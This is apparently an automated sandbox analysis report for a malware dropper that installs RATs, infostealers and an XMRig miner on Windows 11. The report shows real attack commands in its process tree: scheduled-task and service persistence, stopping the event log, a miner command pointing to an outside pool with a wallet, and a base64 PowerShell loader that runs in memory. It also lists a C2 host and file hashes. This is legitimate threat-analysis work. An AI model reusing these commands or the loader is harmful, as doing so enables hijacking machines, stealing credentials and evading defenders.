Overview

overview

10

Static

static

3

FUCKER.exe

windows7-x64

10

FUCKER.exe

windows10-1703-x64

10

FUCKER.exe

windows10-2004-x64

10

FUCKER.exe

windows11-21h2-x64

10

Resubmissions

09/04/2024, 08:32

240409-kfg77aaf8510

09/04/2024, 08:32

240409-kfglnaaf8410

09/04/2024, 08:32

240409-kffz5aea2y10

09/04/2024, 08:32

240409-kffpcsaf7910

11/03/2024, 08:03

240311-jxm94afe6y10

10/03/2024, 15:15

240310-snee9sfd3y10

Analysis

  • max time kernel
    300s
  • max time network
    302s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/04/2024, 08:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    FUCKER.exe
  • Size 10KB
  • Sample240409-kffpcsaf79
  • SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
asyncratlummaraccoonredlineriseproxmrigzgratdiscoveryevasioninfostealerminerpersistencepyinstallerratspywarestealerupx

Malware Config

Extracted

Family

  • asyncrat

Version

  • 0.5.6B

C2

  • koradon.giize.com:6606

Mutex

  • vomsklihddikoeyxag

Attributes
  • delay

    5

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Detect Lumma Stealer payload V2 1 IoCs
  • Detect Lumma Stealer payload V4 1 IoCs
  • Detect ZGRat V1 19 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

    stealerraccoon
  • Raccoon Stealer V2 payload 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 1 IoCs
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • ZGRat

    ZGRat is remote access trojan written in C#.

    ratzgrat
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
    evasion
  • XMRig Miner payload 1 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 37 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Uses the VBS compiler for execution 1 TTPs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 22 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Detects Pyinstaller 1 IoCs
    pyinstaller
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies system certificate store 2 TTPs 5 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\FUCKER.exe
    "C:\Users\Admin\AppData\Local\Temp\FUCKER.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4668
    • C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe"
      2⤵
      • Executes dropped EXE
      PID:3788
    • C:\Users\Admin\AppData\Local\Temp\Files\Tweeter%20Traffic.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Tweeter%20Traffic.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:1080
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 1080 -s 1396
        3⤵
        • Program crash
        PID:4748
    • C:\Users\Admin\AppData\Local\Temp\Files\funta.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\funta.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      PID:2400
    • C:\Users\Admin\AppData\Local\Temp\Files\momsstiflersdgjboigfnbio.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\momsstiflersdgjboigfnbio.exe"
      2⤵
      • Executes dropped EXE
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
        C:\Users\Admin\AppData\Local\Temp\eoq_cli_dbg\vmtoolsd.exe
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4152
        • C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe
          "C:\Users\Admin\AppData\Roaming\eoq_cli_dbg\vmtoolsd.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:2984
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\SysWOW64\cmd.exe
            5⤵
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1920
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2736
    • C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3852
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp31C4.tmp.bat""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2024
        • C:\Windows\system32\timeout.exe
          timeout 3
          4⤵
          • Delays execution with timeout.exe
          PID:1728
        • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
          "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4520
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4840
            • C:\Windows\system32\schtasks.exe
              schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
              6⤵
              • Creates scheduled task(s)
              PID:1888
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
            5⤵
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:4016
    • C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:4568
    • C:\Users\Admin\AppData\Local\Temp\Files\installer.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\installer.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2324
      • C:\Users\Admin\AppData\Local\Temp\is-AQB3U.tmp\installer.tmp
        "C:\Users\Admin\AppData\Local\Temp\is-AQB3U.tmp\installer.tmp" /SL5="$60220,3121405,832512,C:\Users\Admin\AppData\Local\Temp\Files\installer.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe
          "C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 3.1.22
          4⤵
          • Executes dropped EXE
          PID:4824
        • C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe
          "C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 5.0.13
          4⤵
          • Executes dropped EXE
          PID:5052
        • C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe
          "C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 6.0.11
          4⤵
          • Executes dropped EXE
          PID:3572
        • C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe
          "C:\Users\Admin\AppData\Local\Temp\is-18ELE.tmp\netcorecheck_x64.exe" Microsoft.NETCore.App 7.0.0
          4⤵
          • Executes dropped EXE
          PID:4992
    • C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3164
    • C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:2948
    • C:\Users\Admin\AppData\Local\Temp\Files\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\patch.exe"
      2⤵
      • Executes dropped EXE
      PID:3192
    • C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\crypted.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious use of AdjustPrivilegeToken
      PID:1548
    • C:\Users\Admin\AppData\Local\Temp\Files\123p.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\123p.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:2412
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2352
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4984
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3336
      • C:\Windows\system32\powercfg.exe
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4296
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe delete "OBGPQMHF"
        3⤵
        • Launches sc.exe
        PID:2316
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe create "OBGPQMHF" binpath= "C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe" start= "auto"
        3⤵
        • Launches sc.exe
        PID:3816
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe stop eventlog
        3⤵
        • Launches sc.exe
        PID:2644
      • C:\Windows\system32\sc.exe
        C:\Windows\system32\sc.exe start "OBGPQMHF"
        3⤵
        • Launches sc.exe
        PID:1516
    • C:\Users\Admin\AppData\Local\Temp\Files\mk.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\mk.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2224
    • C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\bd2.exe"
      2⤵
      • Executes dropped EXE
      PID:4216
      • C:\Windows\SysWOW64\wscript.exe
        "wscript.exe" "C:\Users\Admin\start.vbs"
        3⤵
          PID:2732
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\temp.bat" "
            4⤵
              PID:3120
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCg0KJGVuY29kZWRBcnJheSA9IEAoMTU5LDIyMCwyMzgsMjM4LDIyNCwyMzIsMjIxLDIzMSwyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiLXRlbXAuYmF0Ig0KJGxhc3RMaW5lID0gR2V0LUNvbnRlbnQgLVBhdGggJGZpbGVQYXRoIHwgU2VsZWN0LU9iamVjdCAtTGFzdCAxDQokY2xlYW5lZExpbmUgPSAkbGFzdExpbmUgLXJlcGxhY2UgJ146OicNCiRyZXZlcnNlID0gUmV2ZXJzZVN0cmluZyAkY2xlYW5lZExpbmUNCiRkZWNvbXByZXNzZWRCeXRlID0gRGVjb21wcmVzc0J5dGVzIC1jb21wcmVzc2VkRGF0YSAkcmV2ZXJzZQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KSW52b2tlLUV4cHJlc3Npb24gJGRlY29kZWRTdHJpbmcNCg0KQ2xvc2UtUHJvY2VzcyAtUHJvY2Vzc05hbWUgImNtZCI=')) | Out-File -FilePath 'C:\Users\Admin\-temp.ps1' -Encoding UTF8"
                5⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4504
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\-temp.ps1"
                5⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1892
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  6⤵
                    PID:1980
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                    6⤵
                      PID:3520
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                      6⤵
                        PID:3196
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 3196 -s 1680
                          7⤵
                          • Program crash
                          PID:3124
              • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"
                2⤵
                • Executes dropped EXE
                PID:952
                • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe"
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  PID:2760
                  • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                    C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                    4⤵
                    • Executes dropped EXE
                    PID:1912
                    • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                      C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                      5⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      PID:3792
                      • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                        C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                        6⤵
                        • Executes dropped EXE
                        PID:1080
                        • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                          C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                          7⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2364
                          • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                            C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                            8⤵
                            • Executes dropped EXE
                            PID:888
                            • C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                              C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe C:\Users\Admin\AppData\Local\Temp\Files\igfxCUIService%20Module.exe
                              9⤵
                              • Executes dropped EXE
                              PID:760
              • C:\Users\Admin\AppData\Local\Temp\Files\conan.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\conan.exe"
                2⤵
                • Executes dropped EXE
                PID:3060
              • C:\Users\Admin\AppData\Local\Temp\Files\crypted_69a30000.exe
                "C:\Users\Admin\AppData\Local\Temp\Files\crypted_69a30000.exe"
                2⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:4912
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  3⤵
                    PID:4860
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 784
                    3⤵
                    • Program crash
                    PID:4928
                • C:\Users\Admin\AppData\Local\Temp\Files\gookcom.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\gookcom.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:3132
                • C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe
                  "C:\Users\Admin\AppData\Local\Temp\Files\asdfg.exe"
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1804
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1080 -ip 1080
                1⤵
                  PID:4136
                • C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
                  C:\ProgramData\ndfbaljqaqzm\dckuybanmlgp.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  • Suspicious behavior: EnumeratesProcesses
                  PID:2184
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2316
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3844
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1624
                  • C:\Windows\system32\powercfg.exe
                    C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1748
                  • C:\Windows\system32\conhost.exe
                    C:\Windows\system32\conhost.exe
                    2⤵
                      PID:1844
                    • C:\Windows\system32\svchost.exe
                      svchost.exe
                      2⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1588
                  • C:\Windows\SysWOW64\WerFault.exe
                    C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 3196 -ip 3196
                    1⤵
                      PID:1708
                    • C:\Users\Admin\AppData\Roaming\Eszop.exe
                      C:\Users\Admin\AppData\Roaming\Eszop.exe
                      1⤵
                      • Executes dropped EXE
                      PID:2024
                    • C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
                      C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
                      1⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1620
                    • C:\Windows\SysWOW64\WerFault.exe
                      C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4912 -ip 4912
                      1⤵
                        PID:2156

                      Network

                            MITRE ATT&CK Enterprise v15

                            Reconnaissance

                            Resource Development

                            Initial Access

                            Execution

                            Scheduled Task/Job

                            1
                            T1053

                            Scripting

                            1
                            T1064

                            Persistence

                            Create or Modify System Process

                            2
                            T1543

                            Windows Service

                            2
                            T1543.003

                            Scheduled Task/Job

                            1
                            T1053

                            Privilege Escalation

                            Create or Modify System Process

                            2
                            T1543

                            Windows Service

                            2
                            T1543.003

                            Scheduled Task/Job

                            1
                            T1053

                            Defense Evasion

                            Impair Defenses

                            1
                            T1562

                            Modify Registry

                            1
                            T1112

                            Scripting

                            1
                            T1064

                            Subvert Trust Controls

                            1
                            T1553

                            Install Root Certificate

                            1
                            T1553.004

                            Virtualization/Sandbox Evasion

                            2
                            T1497

                            Credential Access

                            Unsecured Credentials

                            3
                            T1552

                            Credentials In Files

                            3
                            T1552.001

                            Discovery

                            Query Registry

                            5
                            T1012

                            System Information Discovery

                            2
                            T1082

                            Virtualization/Sandbox Evasion

                            2
                            T1497

                            Lateral Movement

                            Collection

                            Data from Local System

                            3
                            T1005

                            Command and Control

                            Web Service

                            1
                            T1102

                            Exfiltration

                            Impact

                            Service Stop

                            1
                            T1489

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            123p.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\123p.exe
                            • Size 10.7MB
                            • SHA256 d0b06ca6ece3fef6671fa8acd3d560a9400891abcd10f5cedcfe7bd1e6050dfe
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            2.3.1.1.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\2.3.1.1.exe
                            • Size 80KB
                            • SHA256 aa1b0b2f6f06f622abf2128ecafed1929682221c5ff4dd2426f16b9ae272fdf9
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Ama2.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\Ama2.exe
                            • Size 3.1MB
                            • SHA256 5edf686e646728c40a9107c1fabd527e5c6c2bf1ac6ec7326fe77fcb19e35ab7
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Eszop.exe
                            • Path C:\Users\Admin\AppData\Local\Temp\Files\Eszop.exe
                            • Size 466KB
                            • SHA256 e97b0117c7dc1aeb1ef08620ed6833ee61d01ce17c1e01f08aa2a51c5278beca
                            • MD5 SHA1 SHA512 SSDEEP
                            Submit Download

                            Tweeter%20Traffic.exe
